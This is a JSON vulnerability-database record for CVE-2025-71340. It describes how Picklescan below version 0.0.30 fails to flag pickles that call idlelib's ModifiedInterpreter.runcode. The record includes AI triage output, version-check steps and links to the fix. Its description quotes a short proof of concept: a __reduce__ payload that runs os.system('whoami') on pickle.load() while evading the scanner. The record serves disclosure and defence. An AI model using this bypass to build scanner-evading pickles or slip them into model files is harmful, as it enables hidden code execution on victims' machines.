{"id":"CVE-2025-71340","kind":"vulnerability","aliases":["CVE-2025-71340","GHSA-3gf5-cxq9-w223"],"related":[],"title":"Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode","description":"### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncode:\n    def __reduce__(self):\n        payload = \"__import__('os').system('whoami')\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(\n                executing=False,\n                beginexecuting=str,\n                canceled=False,\n                closing=False,\n                showtraceback=str,\n                endexecuting=str,\n                stderr=None,\n                text=SimpleNamespace(),\n                getvar=str\n            ),\n            rpcclt=None,\n            debugger=None,\n            checklinecache=str,\n            active_seq=None,\n            showtraceback=str,\n            canceled=False,\n            closing=False\n        )\n        return ModifiedInterpreter.runcode, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","summary":"Picklescan, a Python library used to scan pickle files for dangerous content, fails to flag a payload that calls idlelib.pyshell.ModifiedInterpreter.runcode from a pickle's reduce method. A malicious pickle that passes the scan can run arbitrary commands when a victim loads it with pickle.load().","severity":"high","cvss":8.1,"epss":0.0038,"exploited":false,"exploited_at":null,"products":[{"name":"picklescan","fixed":["0.0.30"],"affected":"< 0.0.30","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-502","ml-models","package","picklescan","python","pytorch"],"not_affected_if":["no-untrusted-pickles","not-using-picklescan"],"how_to_check":"- Check the installed picklescan version with `pip show picklescan` and compare it to `0.0.30`.\n- Look for picklescan in requirements files, lockfiles and ML pipelines that scan model files before loading them.\n- Confirm whether any pickle files from outside sources are loaded after a picklescan check.","fix":"- `picklescan` `0.0.30` (affected versions are below `0.0.30`).","status":"open","published_at":"2025-08-26T21:37:48+00:00","first_seen_at":"2026-11-03T17:41:47+00:00","triaged_at":"2026-11-03T17:42:45+00:00","updated_at":"2026-11-03T17:42:45+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-03T17:42:45Z","model":"claude-haiku-5-5","output":{"fix":"- `picklescan` `0.0.30` (affected versions are below `0.0.30`).","reach":"unknown","title":"Picklescan: missing detection lets malicious pickle files run code","impact":"high","summary":"Picklescan, a Python library used to scan pickle files for dangerous content, fails to flag a payload that calls idlelib.pyshell.ModifiedInterpreter.runcode from a pickle's reduce method. A malicious pickle that passes the scan can run arbitrary commands when a victim loads it with pickle.load().","audience":"developers","category":"package","nicknames":[],"who_cares":["python","pytorch","ml-models","picklescan"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Code runs on the victim's machine when a malicious pickle is loaded.","analyst_note":"","how_to_check":"- Check the installed picklescan version with `pip show picklescan` and compare it to `0.0.30`.\n- Look for picklescan in requirements files, lockfiles and ML pipelines that scan model files before loading them.\n- Confirm whether any pickle files from outside sources are loaded after a picklescan check.","plain_action":"","needs_analyst":false,"not_affected_if":["no-untrusted-pickles","not-using-picklescan"],"who_is_affected":"Teams that rely on picklescan to decide whether a pickle file, such as a PyTorch model, is safe before calling pickle.load() on it. Projects that never scan or load untrusted pickle files are much less exposed, since the risk comes from trusting the scanner's verdict.","user_interaction":"yes","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000776,"input_tokens":4810,"output_tokens":589,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2025':13A,21A '-502':25B '-71340':14A,22A '/fredericdt':281C '/qhaoduoyu':284C '3gf5':17A 'across':270C 'activ':205C 'api':273C 'arbitrari':68B 'attack':97C,106C,242C,263C,264C 'beginexecut':183C 'built':8A,85C 'built-in':7A,84C 'call':6A,51B,111C 'cancel':185C,210C 'chain':262C 'check':123C 'checklinecach':203C 'class':165C 'close':187C,212C 'code':154C,246C 'command':69B 'content':44B 'correspond':278C 'craft':107C 'cve':12A,20A 'cwe':24B 'cxq9':18A 'danger':43B,141C 'debugg':201C 'decid':143C 'dectect':139C 'def':167C 'detail':95C 'detect':4A,231C 'distribut':266C 'doesn':137C 'emb':244C 'endexecut':191C 'evilidlelibpyshellmodifiedinterpreterruncod':166C 'execut':91C,99C,155C,181C,254C 'fail':45B 'fake':175C,216C 'fals':182C,186C,188C,211C,213C 'file':41B,94C,127C,149C,234C,249C,258C,269C 'first':104C 'flag':47B 'follow':102C 'function':80C,89C,114C,142C 'getvar':197C 'ghsa':16A 'ghsa-3gf5-cxq9-w223':15A 'github.com':280C,283C 'github.com/fredericdt':279C 'github.com/qhaoduoyu':282C 'idlelib.pyshell':158C 'idlelib.pyshell.modifiedinterpreter.runcode':11A,52B,79C,113C 'impact':219C,222C,241C 'import':159C,163C,171C 'individu':226C 'infect':267C 'insid':235C 'lead':151C 'librari':36B,88C,133C,136C 'load':73B,260C 'local':178C 'malici':60B,147C,232C,245C 'method':58B,117C 'miss':3A 'ml':27B,271C 'ml-model':26B 'model':28B,237C,272C 'modifiedinterpret':160C 'modifiedinterpreter.runcode':215C 'none':194C,200C,202C,207C 'object':277C 'organ':224C 'os':172C 'packag':29B 'pass':63B 'payload':49B,98C,109C,170C,218C 'pickl':40B,55B,61B,93C,126C,148C,233C,248C,257C,268C 'pickle.load':76B,145C 'picklescan':1A,23A,30B,33B,132C,229C 'poc':156C 'python':10A,31B,35B,87C,276C 'pytorch':32B,236C 'reduc':57B,116C,168C 'reli':227C 'remain':251C 'remot':92C,153C 'return':214C 'rpcclt':199C 'run':67B 'safe':129C 'save':275C 'scan':39B,65B 'self':169C,176C,217C 'seq':206C 'showtraceback':189C,208C 'simplenamespac':164C,177C,180C,196C 'stderr':193C 'step':103C 'str':184C,190C,192C,198C,204C,209C 'summari':77C 'suppli':261C 'system':173C 'text':195C 'thus':150C 'tkconsol':179C 'type':162C 'undetect':252C 'use':37B,78C,131C 'victim':72B,121C 'w223':19A 'whether':124C 'whoami':174C","nicknames":[],"mitigations":[],"who_affected":"Teams that rely on picklescan to decide whether a pickle file, such as a PyTorch model, is safe before calling pickle.load() on it. Projects that never scan or load untrusted pickle files are much less exposed, since the risk comes from trusting the scanner's verdict.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["picklescan"],"ptokens":["picklescan"],"labels":["cwe502","high","mlmodels","package","picklescan","pypi","python","pytorch"],"campaign_type":null,"first_public_at":"2025-08-26T19:32:07+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-3gf5-cxq9-w223","url":"https://github.com/advisories/GHSA-3gf5-cxq9-w223","severity":"high","published_at":"2025-08-26T21:37:48+00:00","modified_at":"2026-11-03T17:37:20+00:00","first_seen_at":"2026-11-03T17:41:47+00:00","fetched_at":"2026-11-03T17:41:47+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-71340","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71340","severity":null,"published_at":"2026-06-25T22:16:59+00:00","modified_at":"2026-10-12T21:10:00+00:00","first_seen_at":"2026-11-03T17:52:24+00:00","fetched_at":"2026-11-03T17:52:24+00:00","note":null}],"documents":[{"id":59334,"url":"https://api.github.com/repos/mmaitre314/picklescan/security-advisories/GHSA-3gf5-cxq9-w223","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":59335,"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3gf5-cxq9-w223","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2025-08-26T19:32:07+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":59336,"url":"https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59483,"url":"https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-idlelib-pyshell-modifiedinterpreter-runcode","title":"Third-party advisory: www.vulncheck.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.vulncheck.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}